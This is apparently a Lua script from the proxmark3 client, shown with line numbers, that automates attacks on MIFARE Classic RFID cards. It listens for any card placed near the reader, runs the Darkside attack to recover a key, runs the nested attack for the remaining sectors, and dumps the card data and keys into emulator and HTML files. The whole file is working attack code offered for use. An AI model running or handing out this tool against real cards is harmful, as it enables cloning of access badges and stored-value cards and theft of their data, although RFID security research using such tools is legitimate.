e68f7a75d188d915e142bb9b10e63341203f3b22
[proxmark3-svn] / client / scripts / mifare_autopwn.lua
1 local getopt = require('getopt')
2 local reader = require('read14a')
3 local cmds = require('commands')
4
5 example = "script run mifare_autopwn"
6 author = "Martin Holst Swende"
7
8
9 desc =
10 [[
11 This is a script which automates cracking and dumping mifare classic cards. It sets itself into
12 'listening'-mode, after which it cracks and dumps any mifare classic card that you
13 place by the device.
14
15 Arguments:
16 -d debug logging on
17 -h this help
18
19 Output files from this operation:
20 <uid>.eml - emulator file
21 <uid>.html - html file containing card data
22 dumpkeys.bin - keys are dumped here. OBS! This file is volatile, as other commands overwrite it sometimes.
23 dumpdata.bin - card data in binary form. OBS! This file is volatile, as other commands (hf mf dump) overwrite it.
24
25 ]]
26
27 -------------------------------
28 -- Some utilities
29 -------------------------------
30 local DEBUG = false
31 ---
32 -- A debug printout-function
33 function dbg(args)
34 if DEBUG then
35 print(":: ", args)
36 end
37 end
38 ---
39 -- This is only meant to be used when errors occur
40 function oops(err)
41 print("ERROR: ",err)
42 return nil,err
43 end
44
45 ---
46 -- Usage help
47 function help()
48 print(desc)
49 print("Example usage")
50 print(example)
51 end
52
53 ---
54 -- Waits for a mifare card to be placed within the vicinity of the reader.
55 -- @return if successfull: an table containing card info
56 -- @return if unsuccessfull : nil, error
57 function wait_for_mifare()
58 while not core.ukbhit() do
59 res, err = reader.read1443a()
60 if res then return res end
61 -- err means that there was no response from card
62 end
63 return nil, "Aborted by user"
64 end
65
66 function nested(key,sak)
67 local typ = 1
68 if 0x18 == sak then --NXP MIFARE Classic 4k | Plus 4k
69 typ = 4
70 elseif 0x08 == sak then -- NXP MIFARE CLASSIC 1k | Plus 2k
71 typ= 1
72 elseif 0x09 == sak then -- NXP MIFARE Mini 0.3k
73 typ = 0
74 elseif 0x10 == sak then-- "NXP MIFARE Plus 2k"
75 typ = 2
76 elseif 0x01 == sak then-- "NXP MIFARE TNP3xxx 1K"
77 typ = 1
78 else
79 print("I don't know how many sectors there are on this type of card, defaulting to 16")
80 end
81 local cmd = string.format("hf mf nested %d 0 A %s d",typ,key)
82 core.console(cmd)
83 end
84
85 function dump(uid)
86 core.console("hf mf dump")
87 -- Save the global args, those are *our* arguments
88 local myargs = args
89 -- Set the arguments for htmldump script
90 args =("-o %s.html"):format(uid)
91 -- call it
92 require('../scripts/htmldump')
93
94 args =""
95 -- dump to emulator
96 require('../scripts/dumptoemul')
97 -- Set back args. Not that it's used, just for the karma...
98 args = myargs
99 end
100
101 ---
102 -- The main entry point
103 function main(args)
104
105
106 local verbose, exit,res,uid,err,_,sak
107 local seen_uids = {}
108
109 -- Read the parameters
110 for o, a in getopt.getopt(args, 'hd') do
111 if o == "h" then help() return end
112 if o == "d" then DEBUG = true end
113 end
114
115 while not exit do
116 res, err = wait_for_mifare()
117 if err then return oops(err) end
118 -- Seen already?
119 uid = res.uid
120 sak = res.sak
121 if not seen_uids[uid] then
122 -- Store it
123 seen_uids[uid] = uid
124 print("Card found, commencing crack", uid)
125 -- Crack it
126 local key, cnt
127 err, res = core.mfDarkside()
128 if err == -1 then return oops("Button pressed. Aborted.")
129 elseif err == -2 then return oops("Card is not vulnerable to Darkside attack (doesn't send NACK on authentication requests).")
130 elseif err == -3 then return oops("Card is not vulnerable to Darkside attack (its random number generator is not predictable).")
131 elseif err == -4 then return oops([[
132 Card is not vulnerable to Darkside attack (its random number generator seems to be based on the wellknown
133 generating polynomial with 16 effective bits only, but shows unexpected behaviour.]])
134 elseif err == -5 then return oops("Aborted via keyboard.")
135 end
136 -- The key is actually 8 bytes, so a
137 -- 6-byte key is sent as 00XXXXXX
138 -- This means we unpack it as first
139 -- two bytes, then six bytes actual key data
140 -- We can discard first and second return values
141 _,_,key = bin.unpack("H2H6",res)
142 print("Key ", key)
143
144 -- Use nested attack
145 nested(key,sak)
146 -- Dump info
147 dump(uid)
148 end
149 end
150 end
151
152 -- Call the main
153 main(args)
Impressum, Datenschutz